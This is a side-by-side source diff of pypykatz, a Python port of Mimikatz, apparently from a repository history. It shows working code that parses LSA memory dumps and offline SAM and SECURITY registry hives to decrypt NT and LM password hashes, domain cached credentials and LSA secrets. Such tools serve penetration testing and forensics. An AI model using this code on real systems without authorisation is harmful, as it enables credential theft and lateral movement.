117 | 190 | sysinfo = KatzSystemInfo.from_minidump(minidump) |
118 | 191 | mimi = pypykatz(reader, sysinfo) |
119 | mimi.start() | |
120 | return mimi | |
121 | ||
122 | @staticmethod | |
123 | def parse_memory_dump_rekall(filename, override_timestamp = None): | |
192 | mimi.start(packages) | |
193 | return mimi | |
194 | ||
195 | @staticmethod | |
196 | def parse_memory_dump_rekall(filename, override_timestamp = None, packages = ['all']): | |
124 | 197 | from pypykatz.commons.readers.rekall.rekallreader import RekallReader |
125 | 198 | reader = RekallReader.from_memory_file(filename, override_timestamp) |
126 | 199 | sysinfo = KatzSystemInfo.from_rekallreader(reader) |
127 | 200 | mimi = pypykatz(reader, sysinfo) |
128 | mimi.start() | |
129 | return mimi | |
130 | ||
131 | @staticmethod | |
132 | def go_rekall(session, override_timestamp = None, buildnumber = None): | |
201 | mimi.start(packages) | |
202 | return mimi | |
203 | ||
204 | @staticmethod | |
205 | def go_rekall(session, override_timestamp = None, buildnumber = None, packages = ['all']): | |
133 | 206 | from pypykatz.commons.readers.rekall.rekallreader import RekallReader |
134 | 207 | reader = RekallReader.from_session(session, override_timestamp, buildnumber) |
135 | 208 | sysinfo = KatzSystemInfo.from_rekallreader(reader) |
136 | 209 | mimi = pypykatz(reader, sysinfo) |
137 | mimi.start() | |
138 | return mimi | |
139 | ||
140 | @staticmethod | |
141 | def go_volatility3(vol3_obj): | |
210 | mimi.start(packages) | |
211 | return mimi | |
212 | ||
213 | @staticmethod | |
214 | def go_volatility3(vol3_obj, packages = ['all']): | |
142 | 215 | from pypykatz.commons.readers.volatility3.volreader import Vol3Reader, vol3_treegrid |
143 | 216 | reader = Vol3Reader(vol3_obj) |
144 | 217 | sysinfo = reader.get_sysinfo() |
145 | 218 | mimi = pypykatz(reader, sysinfo) |
146 | mimi.start() | |
219 | mimi.start(packages) | |
147 | 220 | return vol3_treegrid(mimi) |
148 | 221 | |
149 | 222 | |
169 | 242 | |
170 | 243 | def get_lsa_bruteforce(self): |
171 | 244 | #good luck! |
172 | logger.info('Testing all available templates! Expect warnings!') | |
245 | logger.debug('Testing all available templates! Expect warnings!') | |
173 | 246 | for lsa_dec_template in LsaTemplate.get_template_brute(self.sysinfo): |
174 | 247 | try: |
175 | 248 | lsa_dec = LsaDecryptor.choose(self.reader, lsa_dec_template, self.sysinfo) |
177 | 250 | except: |
178 | 251 | pass |
179 | 252 | else: |
180 | logger.info('Lucky you! Brutefoce method found a -probably- working template!') | |
253 | logger.debug('Lucky you! Brutefoce method found a -probably- working template!') | |
181 | 254 | return lsa_dec |
182 | 255 | |
183 | 256 | def get_lsa(self): |
186 | 259 | lsa_dec_template = LsaTemplate.get_template(self.sysinfo) |
187 | 260 | lsa_dec = LsaDecryptor.choose(self.reader, lsa_dec_template, self.sysinfo) |
188 | 261 | logger.debug(lsa_dec.dump()) |
189 | except: | |
190 | logger.exception('Failed to automatically detect correct LSA template!') | |
262 | except Exception as e: | |
263 | logger.debug('Failed to automatically detect correct LSA template! Reason: %s' % str(e)) | |
191 | 264 | lsa_dec = self.get_lsa_bruteforce() |
192 | 265 | if lsa_dec is None: |
193 | 266 | raise Exception('All detection methods failed.') |
245 | 318 | else: |
246 | 319 | self.orphaned_creds.append(cred) |
247 | 320 | |
248 | def get_kerberos(self): | |
321 | def get_kerberos(self, with_tickets = True): | |
249 | 322 | dec_template = KerberosTemplate.get_template(self.sysinfo) |
250 | dec = KerberosDecryptor(self.reader, dec_template, self.lsa_decryptor, self.sysinfo) | |
251 | dec.start() | |
323 | dec = KerberosDecryptor(self.reader, dec_template, self.lsa_decryptor, self.sysinfo, with_tickets = with_tickets) | |
324 | dec.start() | |
252 | 325 | for cred in dec.credentials: |
253 | 326 | for ticket in cred.tickets: |
254 | 327 | for fn in ticket.kirbi_data: |
259 | 332 | else: |
260 | 333 | self.orphaned_creds.append(cred) |
261 | 334 | |
262 | def start(self): | |
263 | #self.log_basic_info() | |
264 | #input() | |
335 | def get_cloudap(self): | |
336 | cloudap_dec_template = CloudapTemplate.get_template(self.sysinfo) | |
337 | if cloudap_dec_template is None: | |
338 | return | |
339 | cloudap_dec = CloudapDecryptor(self.reader, cloudap_dec_template, self.lsa_decryptor, self.sysinfo) | |
340 | cloudap_dec.start() | |
341 | for cred in cloudap_dec.credentials: | |
342 | if cred.luid in self.logon_sessions: | |
343 | self.logon_sessions[cred.luid].cloudap_creds.append(cred) | |
344 | else: | |
345 | self.orphaned_creds.append(cred) | |
346 | ||
347 | def start(self, packages = ['all']): | |
348 | ||
265 | 349 | self.lsa_decryptor = self.get_lsa() |
266 | self.get_logoncreds() | |
267 | self.get_wdigest() | |
268 | self.get_kerberos() | |
269 | self.get_tspkg() | |
270 | self.get_ssp() | |
271 | self.get_livessp() | |
272 | self.get_dpapi() | |
350 | ||
351 | if 'msv' in packages or 'all' in packages: | |
352 | try: | |
353 | self.get_logoncreds() | |
354 | except Exception as e: | |
355 | self.errors.append(('msv', e)) | |
356 | ||
357 | if 'wdigest' in packages or 'all' in packages: | |
358 | try: | |
359 | self.get_wdigest() | |
360 | except Exception as e: | |
361 | self.errors.append(('wdigest', e)) | |
362 | ||
363 | if 'kerberos' in packages or 'ktickets' in packages or 'all' in packages: | |
364 | try: | |
365 | with_tickets = False | |
366 | if 'ktickets' in packages or 'all' in packages: | |
367 | with_tickets = True | |
368 | ||
369 | self.get_kerberos(with_tickets) | |
370 | except Exception as e: | |
371 | self.errors.append(('kerberos', e)) | |
372 | ||
373 | ||
374 | if 'tspkg' in packages or 'all' in packages: | |
375 | try: | |
376 | self.get_tspkg() | |
377 | except Exception as e: | |
378 | self.errors.append(('tspkg', e)) | |
379 | ||
380 | if 'ssp' in packages or 'all' in packages: | |
381 | try: | |
382 | self.get_ssp() | |
383 | except Exception as e: | |
384 | self.errors.append(('ssp', e)) | |
385 | ||
386 | if 'livessp' in packages or 'all' in packages: | |
387 | try: | |
388 | self.get_livessp() | |
389 | except Exception as e: | |
390 | self.errors.append(('livessp', e)) | |
391 | ||
392 | if 'dpapi' in packages or 'all' in packages: | |
393 | try: | |
394 | self.get_dpapi() | |
395 | except Exception as e: | |
396 | self.errors.append(('dpapi', e)) | |
397 | ||
398 | if 'cloudap' in packages or 'all' in packages: | |
399 | try: | |
400 | self.get_cloudap() | |
401 | except Exception as e: | |
402 | self.errors.append(('cloudap', e)) | |
403 |
0 | #!/usr/bin/env python3 | |
1 | # | |
2 | # Author: | |
3 | # Tamas Jos (@skelsec) | |
4 | # | |
5 | ||
6 | import json | |
7 | from aiowinreg.ahive import AIOWinRegHive | |
8 | ||
9 | from pypykatz.registry import logger | |
10 | from pypykatz.commons.common import UniversalEncoder | |
11 | from pypykatz.registry.sam.asam import * | |
12 | from pypykatz.registry.security.asecurity import * | |
13 | from pypykatz.registry.system.asystem import * | |
14 | from pypykatz.registry.software.asoftware import * | |
15 | ||
16 | ||
17 | class OffineRegistry: | |
18 | """ | |
19 | This class represents an offline registry | |
20 | You will need to set at least the SYSTEM hive (to get bootkey) | |
21 | In case you have the SAM and/or SECURITY hives, it will parse them for the stored credentials/secrets as well. | |
22 | """ | |
23 | def __init__(self): | |
24 | self.sam_hive = None | |
25 | self.security_hive = None | |
26 | self.system_hive = None | |
27 | self.software_hive = None | |
28 | ||
29 | self.system = None | |
30 | self.sam = None | |
31 | self.security = None | |
32 | self.software = None | |
33 | ||
34 | async def get_secrets(self): | |
35 | self.system = SYSTEM(self.system_hive) | |
36 | bootkey = await self.system.get_bootkey() | |
37 | ||
38 | if self.sam_hive: | |
39 | self.sam = SAM(self.sam_hive, bootkey) | |
40 | await self.sam.get_secrets() | |
41 | ||
42 | if self.security_hive: | |
43 | self.security = SECURITY(self.security_hive, bootkey) | |
44 | await self.security.get_secrets() | |
45 | ||
46 | if self.software_hive: | |
47 | self.software = SOFTWARE(self.software_hive, bootkey) | |
48 | await self.software.get_default_logon() | |
49 | ||
50 | def to_file(self, file_path, json_format = False): | |
51 | with open(file_path, 'w', newline = '') as f: | |
52 | if json_format == False: | |
53 | f.write(str(self)) | |
54 | else: | |
55 | f.write(self.to_json()) | |
56 | ||
57 | def to_json(self): | |
58 | return json.dumps(self.to_dict(), cls = UniversalEncoder, indent=4, sort_keys=True) | |
59 | ||
60 | def to_dict(self): | |
61 | t = {} | |
62 | t['SYSTEM'] = self.system.to_dict() | |
63 | if self.sam: | |
64 | t['SAM'] = self.sam.to_dict() | |
65 | if self.security: | |
66 | t['SECURITY'] = self.security.to_dict() | |
67 | if self.software: | |
68 | t['SOFTWARE'] = self.software.to_dict() | |
69 | return t | |
70 | ||
71 | ||
72 | def __str__(self): | |
73 | t = str(self.system) | |
74 | if self.sam: | |
75 | t += str(self.sam) | |
76 | if self.security: | |
77 | t += str(self.security) | |
78 | if self.software: | |
79 | t += str(self.software) | |
80 | return t | |
81 | ||
82 | @staticmethod | |
83 | async def from_async_reader(system_reader, sam_reader = None, security_reader = None, software_reader = None): | |
84 | po = OffineRegistry() | |
85 | po.system_hive = AIOWinRegHive(system_reader) | |
86 | await po.system_hive.setup() | |
87 | ||
88 | if sam_reader is not None: | |
89 | po.sam_hive = AIOWinRegHive(sam_reader) | |
90 | await po.sam_hive.setup() | |
91 | ||
92 | if security_reader is not None: | |
93 | po.security_hive = AIOWinRegHive(security_reader) | |
94 | await po.security_hive.setup() | |
95 | ||
96 | if software_reader is not None: | |
97 | po.software_hive = AIOWinRegHive(software_reader) | |
98 | await po.software_hive.setup() | |
99 | ||
100 | await po.get_secrets() | |
101 | ||
102 | return po | |
103 | ||
104 | ||
105 | ||
106 | if __name__ == '__main__': | |
107 | po = OffineRegistry.from_live_system() | |
108 | print(str(po))⏎ |
0 | #!/usr/bin/env python3 | |
1 | # | |
2 | # Author: | |
3 | # Tamas Jos (@skelsec) | |
4 | # | |
5 | import hashlib | |
6 | import hmac | |
7 | import io | |
8 | from pypykatz.registry.sam.structures import * | |
9 | from pypykatz.crypto.RC4 import RC4 | |
10 | from pypykatz.crypto.aes import AESModeOfOperationCBC | |
11 | from pypykatz.crypto.des import des, expand_DES_key | |
12 | ||
13 | ##### | |
14 | from pypykatz.registry.sam.structures import * | |
15 | from pypykatz.registry.sam.common import * | |
16 | from pypykatz.registry import logger | |
17 | from pypykatz.commons.win_datatypes import SID | |
18 | ||
19 | # | |
20 | # The SAM hive holds the hashed passwords of the LOCAL machine users | |
21 | # There are alwas some local users present on your machine, regardless if it's domain-enrolled | |
22 | # | |
23 | # Depending on the Windows version, the strucutres and the way to decrypt the hashes differs. | |
24 | # The class needs to have the bootkey (see SYSTEM hive) to be able to decrypt the hashes | |
25 | # | |
26 | ||
27 | class SAM: | |
28 | def __init__(self, sam_hive, bootkey): | |
29 | self.hive = sam_hive | |
30 | self.bootkey = bootkey | |
31 | self.hashed_bootkey = None | |
32 | self.machine_sid = None | |
33 | self.secrets = [] | |
34 | ||
35 | @staticmethod | |
36 | def rid_to_key(rid): | |
37 | key = int(rid, 16).to_bytes(4, 'little', signed = False) | |
38 | key1 = [key[0] , key[1] , key[2] , key[3] , key[0] , key[1] , key[2]] | |
39 | key2 = [key[3] , key[0] , key[1] , key[2] , key[3] , key[0] , key[1]] | |
40 | return expand_DES_key(bytes(key1)),expand_DES_key(bytes(key2)) | |
41 | ||
42 | def decrypt_hash(self, rid, hashobj, constant): | |
43 | key1, key2 = SAM.rid_to_key(rid) | |
44 | des1 = des(key1) | |
45 | des2 = des(key2) | |
46 | ||
47 | if isinstance(hashobj, SAM_HASH): | |
48 | rc4key = hashlib.md5( self.hashed_bootkey[:0x10] + int(rid, 16).to_bytes(4, 'little', signed = False) + constant ).digest() | |
49 | key = RC4(rc4key).encrypt(hashobj.hash) | |
50 | ||
51 | else: | |
52 | key = b'' | |
53 | cipher = AESModeOfOperationCBC(self.hashed_bootkey[:0x10], iv = hashobj.salt) | |
54 | n = 16 | |
55 | for block in [hashobj.data[i:i+n] for i in range(0, len(hashobj.data), n)]: #terrible, terrible workaround | |
56 | key += cipher.decrypt(block) | |
57 | ||
58 | key = key[:16] | |
59 | ||
60 | dec_hash = des1.decrypt(key[:8]) + des2.decrypt(key[8:]) | |
61 | return dec_hash | |
62 | ||
63 | async def get_HBoot_key(self): | |
64 | logger.debug('SAM parsing hashed bootkey') | |
65 | QWERTY = b"!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\0" | |
66 | DIGITS = b"0123456789012345678901234567890123456789\0" | |
67 | ||
68 | F = await self.hive.get_value(r'SAM\Domains\Account\F') | |
69 | F = F[1] | |
70 | logger.log(1,'[SAM] F key value: %s' % F) | |
71 | ||
72 | domain_properties = DOMAIN_ACCOUNT_F.from_bytes(F) | |
73 | ||
74 | if isinstance(domain_properties.key_0, SAM_KEY_DATA): | |
75 | rc4_key = hashlib.md5(domain_properties.key_0.salt + QWERTY + self.bootkey +DIGITS).digest() | |
76 | self.hashed_bootkey = RC4(rc4_key).encrypt(domain_properties.key_0.key + domain_properties.key_0.checksum) | |
77 | ||
78 | checksum = hashlib.md5(self.hashed_bootkey[:16] + DIGITS + self.hashed_bootkey[:16] + QWERTY).digest() | |
79 | ||
80 | if checksum != self.hashed_bootkey[16:]: | |
81 | logger.error('[SAM] HBootkey checksum verification failed!') | |
82 | raise Exception('[SAM] HBootkey checksum verification failed!') | |
83 | ||
84 | elif isinstance(domain_properties.key_0, SAM_KEY_DATA_AES): | |
85 | self.hashed_bootkey = b'' | |
86 | cipher = AESModeOfOperationCBC(self.bootkey, iv = domain_properties.key_0.salt) | |
87 | n = 16 | |
88 | for block in [domain_properties.key_0.data[i:i+n] for i in range(0, len(domain_properties.key_0.data), n)]: #terrible, terrible workaround | |
89 | self.hashed_bootkey += cipher.decrypt(block) | |
90 | ||
91 | logger.debug('[SAM] HBootkey: %s' % self.hashed_bootkey.hex()) | |
92 | return self.hashed_bootkey | |
93 | ||
94 | async def get_machine_sid(self): | |
95 | # https://social.technet.microsoft.com/Forums/en-US/de8ff30b-6986-4aad-bcde-12bb5e66fe86/the-computer-sid-with-windows-7?forum=winserverDS | |
96 | # TODO: implement this | |
97 | try: | |
98 | uac_data = await self.hive.get_value('SAM\\Domains\\Account\\V') | |
99 | uac_data = uac_data[1] | |
100 | uac_data = uac_data[-12:] | |
101 | p1 = int.from_bytes( uac_data[:4], 'little', signed = False) | |
102 | p2 = int.from_bytes( uac_data[4:8], 'little', signed = False) | |
103 | p3 = int.from_bytes(uac_data[8:12], 'little', signed = False) | |
104 | self.machine_sid = '%s-%s-%s-%s' % ('S-1-5-21', p1, p2, p3) | |
105 | except Exception as e: | |
106 | import traceback | |
107 | traceback.print_exc() | |
108 | return self.machine_sid | |
109 | ||
110 | async def get_secrets(self): | |
111 | logger.debug('SAM get_secrets invoked') | |
112 | NTPASSWORD = b"NTPASSWORD\0" | |
113 | LMPASSWORD = b"LMPASSWORD\0" | |
114 | ||
115 | NTDEFAULT = '31d6cfe0d16ae931b73c59d7e0c089c0' | |
116 | LMDEFAULT = 'aad3b435b51404eeaad3b435b51404ee' | |
117 | ||
118 | await self.get_HBoot_key() | |
119 | await self.get_machine_sid() | |
120 | ||
121 | names = await self.hive.enum_key('SAM\\Domains\\Account\\Users') | |
122 | for rid in names: | |
123 | uac = None | |
124 | if rid == 'Names': | |
125 | continue | |
126 | ||
127 | key_path = 'SAM\\Domains\\Account\\Users\\%s\\V' % rid | |
128 | logger.debug('[SAM] Parsing secrets for RID: %s' % rid) | |
129 | uac_data = await self.hive.get_value(key_path) | |
130 | uac_data = uac_data[1] | |
131 | uac = USER_ACCOUNT_V.from_bytes(uac_data) | |
132 | ||
133 | nthash = bytes.fromhex(NTDEFAULT) | |
134 | lmhash = bytes.fromhex(LMDEFAULT) | |
135 | if uac.NT_hash and isinstance(uac.NT_hash, SAM_HASH_AES): | |
136 | if uac.NT_hash.data != b'': | |
137 | nthash = self.decrypt_hash(rid, uac.NT_hash, NTPASSWORD) | |
138 | elif uac.NT_hash and isinstance(uac.NT_hash, SAM_HASH): | |
139 | if uac.NT_hash.hash != b'': | |
140 | nthash = self.decrypt_hash(rid, uac.NT_hash, NTPASSWORD) | |
141 | ||
142 | if uac.LM_hash and isinstance(uac.LM_hash, SAM_HASH_AES): | |
143 | if uac.LM_hash.data != b'': | |
144 | lmhash = self.decrypt_hash(rid, uac.LM_hash, LMPASSWORD) | |
145 | ||
146 | elif uac.LM_hash and isinstance(uac.LM_hash, SAM_HASH): | |
147 | if uac.LM_hash.hash != b'': | |
148 | lmhash = self.decrypt_hash(rid, uac.LM_hash, LMPASSWORD) | |
149 | ||
150 | secret = SAMSecret(uac.name, int(rid,16), nthash, lmhash) | |
151 | self.secrets.append(secret) | |
152 | ||
153 | return self.secrets | |
154 | ||
155 | def to_dict(self): | |
156 | t = {} | |
157 | t['HBoot_key'] = self.hashed_bootkey | |
158 | t['local_users'] = [] | |
159 | for secret in self.secrets: | |
160 | t['local_users'].append( secret.to_dict()) | |
161 | return t | |
162 | ||
163 | def __str__(self): | |
164 | t = '============== SAM hive secrets ==============\r\n' | |
165 | t += 'HBoot Key: %s\r\n' % self.hashed_bootkey.hex() | |
166 | for secret in self.secrets: | |
167 | t += '%s\r\n' % secret.to_lopth() | |
168 | return t | |
169 | ||
170 |
2 | 2 | # Author: |
3 | 3 | # Tamas Jos (@skelsec) |
4 | 4 | # |
5 | import json | |
5 | 6 | |
6 | 7 | class SAMSecret: |
7 | 8 | def __init__(self, username, rid, nt_hash, lm_hash): |
195 | 195 | self.homedir = None |
196 | 196 | self.homedir_connect = None |
197 | 197 | self.script_path = None |
198 | self.profile_path = None | |
199 | 198 | self.profile_path = None |
200 | 199 | self.workstations = None |
201 | 200 | self.hoursallowed = None |
374 | 373 | t += ' %s: %s: %s' % (k, i, str(item)) |
375 | 374 | else: |
376 | 375 | t += '%s: %s \r\n' % (k, str(self.__dict__[k])) |
377 | return t⏎ | |
376 | return t |
0 | #!/usr/bin/env python3 | |
1 | # | |
2 | # Author: | |
3 | # Tamas Jos (@skelsec) | |
4 | # | |
5 | import hashlib | |
6 | import hmac | |
7 | from pypykatz.registry.sam.structures import * | |
8 | from pypykatz.crypto.RC4 import RC4 | |
9 | from pypykatz.crypto.aes import AESModeOfOperationCBC,AESModeOfOperationECB, Decrypter | |
10 | from pypykatz.crypto.des import * | |
11 | ||
12 | ||
13 | ##### | |
14 | from pypykatz.registry.security.structures import * | |
15 | from pypykatz.registry.security.common import * | |
16 | from pypykatz.registry import logger | |
17 | from pypykatz.commons.common import hexdump | |
18 | ||
19 | # | |
20 | # The SECURITY hive holds all the domain-cached-credentials for the domain users who logged in to the machine | |
21 | # It also holds the machine account's password in an encrypted form | |
22 | # | |
23 | # The LSA secrets also stored here, but their format is not always documented, | |
24 | # as this functionality can be used by any service that wants to stroe some secret information | |
25 | ||
26 | class SECURITY: | |
27 | def __init__(self, security_hive, bootkey): | |
28 | self.hive = security_hive | |
29 | self.bootkey = bootkey | |
30 | ||
31 | self.dcc_iteration_count = 10240 | |
32 | self.lsa_secret_key_vista_type = True | |
33 | ||
34 | self.lsa_key = None | |
35 | self.NKLM_key = None | |
36 | ||
37 | self.dcc_hashes = [] | |
38 | self.cached_secrets = [] | |
39 | ||
40 | @staticmethod | |
41 | def sha256_multi(key, value, rounds = 1000): | |
42 | ctx = hashlib.sha256(key) | |
43 | for _ in range(rounds): | |
44 | ctx.update(value) | |
45 | return ctx.digest() | |
46 | ||
47 | def decrypt_lsa_key(self, data): | |
48 | logger.debug('[SECURITY] Decrypting LSA key...') | |
49 | if self.lsa_secret_key_vista_type is True: | |
50 | record = LSA_SECRET.from_bytes(data) | |
51 | key = SECURITY.sha256_multi(self.bootkey, record.data[:32]) | |
52 | secret_dec = b'' | |
53 | cipher = AESModeOfOperationECB(key) | |
54 | n = 16 | |
55 | for block in [record.data[32:][i:i+n] for i in range(0, len(record.data[32:]), n)]: #terrible, terrible workaround | |
56 | if len(block) < n: | |
57 | block += b'\x00' * (n - len(block)) | |
58 | secret_dec += cipher.decrypt(block) | |
59 | record = LSA_SECRET_BLOB.from_bytes(secret_dec) | |
60 | self.lsa_key = record.secret[52:][:32] | |
61 | ||
62 | else: | |
63 | ctx = hashlib.md5(self.bootkey) | |
64 | for i in range(1000): | |
65 | ctx.update(data[60:76]) | |
66 | ||
67 | cipher = RC4(ctx.digest()) | |
68 | record = cipher.decrypt(data[12:60]) | |
69 | self.lsa_key = record[0x10:0x20] | |
70 | ||
71 | logger.debug('[SECURITY] LSA key value: %s' % self.lsa_key.hex()) | |
72 | return self.lsa_key | |
73 | ||
74 | ||
75 | async def get_lsa_key(self): | |
76 | logger.debug('[SECURITY] Fetching LSA key...') | |
77 | value = await self.hive.get_value('Policy\\PolEKList\\default', False) | |
78 | if value is None: | |
79 | value = await self.hive.get_value('Policy\\PolSecretEncryptionKey\\default', False) | |
80 | if not value: | |
81 | logger.debug('[SECURITY] LSA key not found!') | |
82 | return None | |
83 | ||
84 | self.lsa_secret_key_vista_type = False | |
85 | logger.debug('[SECURITY] LSA secrets default to VISTA type') | |
86 | ||
87 | return self.decrypt_lsa_key(value[1]) | |
88 | ||
89 | ||
90 | def decrypt_secret(self, key, value): | |
91 | dec_blob = b'' | |
92 | enc_size = int.from_bytes(value[:4], 'little', signed = False) | |
93 | value = value[len(value) - enc_size:] | |
94 | t_key = key | |
95 | for _ in range(0, len(value), 8): | |
96 | enc_blob = value[:8] | |
97 | des_key = expand_DES_key(t_key[:7]) | |
98 | ctx = des(des_key) | |
99 | dec_blob += ctx.decrypt(enc_blob) | |
100 | t_key = t_key[7:] | |
101 | value = value[8:] | |
102 | if len(t_key) < 7: | |
103 | t_key = key[len(t_key) : ] | |
104 | ||
105 | secret = LSA_SECRET_XP.from_bytes(dec_blob) | |
106 | return secret.secret | |
107 | ||
108 | async def get_NKLM_key(self): | |
109 | logger.debug('[SECURITY] Fetching NK$LM key...') | |
110 | if self.lsa_key is None: | |
111 | await self.get_lsa_key() | |
112 | ||
113 | value = await self.hive.get_value('Policy\\Secrets\\NL$KM\\CurrVal\\default') | |
114 | if value is None: | |
115 | logger.error('[SECURITY] Could not find NL$KM in registry') | |
116 | raise Exception('Could not find NL$KM in registry :(') | |
117 | ||
118 | if self.lsa_secret_key_vista_type is True: | |
119 | self.NKLM_key = b'' | |
120 | record = LSA_SECRET.from_bytes(value[1]) | |
121 | key = SECURITY.sha256_multi(self.lsa_key, record.data[:32]) | |
122 | cipher = AESModeOfOperationECB(key) | |
123 | n = 16 | |
124 | for block in [record.data[32:][i:i+n] for i in range(0, len(record.data[32:]), n)]: #terrible, terrible workaround | |
125 | if len(block) < n: | |
126 | block += b'\x00' * (16 - len(block)) | |
127 | self.NKLM_key += cipher.decrypt(block) | |
128 | ||
129 | else: | |
130 | self.NKLM_key = self.decrypt_secret(self.lsa_key, value[1]) | |
131 | ||
132 | logger.debug('[SECURITY] NL$KM key: %s' % self.NKLM_key.hex()) | |
133 | return self.NKLM_key | |
134 | ||
135 | def __pad(self, data): | |
136 | if (data & 0x3) > 0: | |
137 | return data + (data & 0x3) | |
138 | else: | |
139 | return data | |
140 | ||
141 | async def dump_dcc(self): | |
142 | logger.debug('[SECURITY] dump_dcc invoked') | |
143 | cache_reg = await self.hive.find_key('Cache', False) | |
144 | if cache_reg is None: | |
145 | logger.debug('[SECURITY] No DCC secrets found') | |
146 | return | |
147 | values = await self.hive.list_values(cache_reg) | |
148 | ||
149 | if values == []: | |
150 | logger.debug('[SECURITY] No DCC secrets found') | |
151 | return | |
152 | ||
153 | if b'NL$Control' in values: | |
154 | values.remove(b'NL$Control') | |
155 | ||
156 | if b'NL$IterationCount' in values: | |
157 | logger.debug('[SECURITY] DCC Setting iteration count') | |
158 | values.remove(b'NL$IterationCount') | |
159 | record = await self.hive.get_value('Cache\\NL$IterationCount') | |
160 | record = record[1] | |
161 | if record > 10240: | |
162 | self.dcc_iteration_count = record & 0xfffffc00 | |
163 | else: | |
164 | self.dcc_iteration_count = record * 1024 | |
165 | ||
166 | ||
167 | await self.get_lsa_key() | |
168 | await self.get_NKLM_key() | |
169 | ||
170 | for value in values: | |
171 | logger.debug('[SECURITY] DCC Checking value: %s' % value) | |
172 | record_data = await self.hive.get_value('Cache\\%s' % value.decode()) | |
173 | record_data = record_data[1] | |
174 | record = NL_RECORD.from_bytes(record_data) | |
175 | ||
176 | if record.IV != b'\x00'*16: | |
177 | if record.Flags & 1 == 1: | |
178 | # Encrypted | |
179 | if self.lsa_secret_key_vista_type is True: | |
180 | plaintext = b'' | |
181 | cipher = AESModeOfOperationCBC(self.NKLM_key[16:32], iv = record.IV) | |
182 | n = 16 | |
183 | for block in [record.EncryptedData[i:i+n] for i in range(0, len(record.EncryptedData), n)]: #terrible, terrible workaround | |
184 | if len(block) < 16: | |
185 | block += b'\x00' * (16 - len(block)) | |
186 | plaintext += cipher.decrypt(block) | |
187 | ||
188 | else: | |
189 | key = hmac.new(self.NKLM_key,record.IV).digest() | |
190 | cipher = RC4(key) | |
191 | plaintext = cipher.decrypt(record.EncryptedData) | |
192 | ||
193 | else: | |
194 | # Plain! Until we figure out what this is, we skip it | |
195 | #plainText = record['EncryptedData'] | |
196 | logger.debug('[SECURITY] DCC Skipping value %s, unknown formet' % value) | |
197 | continue | |
198 | ||
199 | ||
200 | dcc_hash = plaintext[:0x10] | |
201 | blob = io.BytesIO(plaintext[0x48:]) | |
202 | username = blob.read(record.UserLength).decode('utf-16-le') | |
203 | blob.seek(self.__pad(record.UserLength) + self.__pad(record.DomainNameLength)) | |
204 | domain = blob.read(record.DnsDomainNameLength).decode('utf-16-le') | |
205 | ||
206 | version = 2 if self.lsa_secret_key_vista_type is True else 1 | |
207 | secret = LSADCCSecret(version, domain, username, dcc_hash, iteration = self.dcc_iteration_count) | |
208 | self.dcc_hashes.append(secret) | |
209 | ||
210 | return self.dcc_hashes | |
211 | ||
212 | async def get_secrets(self): | |
213 | logger.debug('[SECURITY] get_secrets') | |
214 | await self.get_lsa_key() | |
215 | ||
216 | await self.dump_dcc() | |
217 | ||
218 | # Let's first see if there are cached entries | |
219 | keys = await self.hive.enum_key('Policy\\Secrets') | |
220 | if keys is None: | |
221 | logger.debug('[SECURITY] No cached secrets found in hive') | |
222 | return | |
223 | ||
224 | if b'NL$Control' in keys: | |
225 | keys.remove(b'NL$Control') | |
226 | ||
227 | for key_name in keys: | |
228 | for vl in ['CurrVal', 'OldVal']: | |
229 | key_path = 'Policy\\Secrets\\{}\\{}\\default'.format(key_name,vl) | |
230 | logger.debug('[SECURITY] Parsing secrets in %s' % key_path) | |
231 | v = await self.hive.get_value(key_path, False) | |
232 | if v and v[1] != 0: | |
233 | logger.log(1, '[SECURITY] Key %s Value %s' % (key_path, v[1])) | |
234 | if self.lsa_secret_key_vista_type is True: | |
235 | record = LSA_SECRET.from_bytes(v[1]) | |
236 | key = SECURITY.sha256_multi(self.lsa_key, record.data[:32]) | |
237 | secret_dec = b'' | |
238 | cipher = AESModeOfOperationECB(key) | |
239 | n = 16 | |
240 | for block in [record.data[32:][i:i+n] for i in range(0, len(record.data[32:]), n)]: #terrible, terrible workaround | |
241 | if len(block) < n: | |
242 | block += b'\x00' * (n - len(block)) | |
243 | secret_dec += cipher.decrypt(block) | |
244 | record = LSA_SECRET_BLOB.from_bytes(secret_dec) | |
245 | dec_blob = record.secret | |
246 | ||
247 | else: | |
248 | dec_blob = self.decrypt_secret(self.lsa_key, v[1]) | |
249 | ||
250 | secret = LSASecret.process(key_name, dec_blob, vl == 'OldVal') | |
251 | if secret is not None: | |
252 | self.cached_secrets.append(secret) | |
253 | ||
254 | else: | |
255 | logger.debug('[SECURITY] Could not open %s, skipping!' % key_path) | |
256 | ||
257 | def to_dict(self): | |
258 | t = {} | |
259 | t['dcc_iteration_count'] = self.dcc_iteration_count | |
260 | t['secrets_format'] = 'VISTA' if self.lsa_secret_key_vista_type else 'OLD' | |
261 | t['lsa_key'] = self.lsa_key | |
262 | t['NK$LM'] = None | |
263 | if self.NKLM_key is not None: | |
264 | t['NK$LM'] = self.NKLM_key | |
265 | t['dcc'] = [] | |
266 | for secret in self.dcc_hashes: | |
267 | t['dcc'].append(secret.to_dict()) | |
268 | t['cached_secrets'] = [] | |
269 | for secret in self.cached_secrets: | |
270 | t['cached_secrets'].append(secret.to_dict()) | |
271 | return t | |
272 | ||
273 | def __str__(self): | |
274 | t = '============== SECURITY hive secrets ==============\r\n' | |
275 | t += 'Iteration count: %s\r\n' % self.dcc_iteration_count | |
276 | t += 'Secrets structure format : %s\r\n' % 'VISTA' if self.lsa_secret_key_vista_type else 'OLD' | |
277 | t += 'LSA Key: %s\r\n' % self.lsa_key.hex() | |
278 | if self.NKLM_key is not None: | |
279 | t += 'NK$LM Key: %s\r\n' % self.NKLM_key.hex() | |
280 | for secret in self.dcc_hashes: | |
281 | t += '%s\r\n' % secret.to_lopth() | |
282 | for secret in self.cached_secrets: | |
283 | t += '%s\r\n' % str(secret) | |
284 | return t |
2 | 2 | # Author: |
3 | 3 | # Tamas Jos (@skelsec) |
4 | 4 | # |
5 | import hashlib | |
5 | ||
6 | from pypykatz.crypto.MD4 import MD4 | |
6 | 7 | from pypykatz.dpapi.structures.system import DPAPI_SYSTEM |
7 | 8 | from pypykatz.commons.common import hexdump |
8 | 9 | |
155 | 156 | |
156 | 157 | def process_secret(self): |
157 | 158 | #only the NT hash is calculated here |
158 | ctx = hashlib.new('md4') | |
159 | ctx.update(self.raw_secret) | |
159 | ctx = MD4(self.raw_secret)#hashlib.new('md4') | |
160 | #ctx.update(self.raw_secret) | |
160 | 161 | self.secret = ctx.digest() |
161 | 162 | |
162 | 163 | #thx dirkjan |
40 | 40 | @staticmethod |
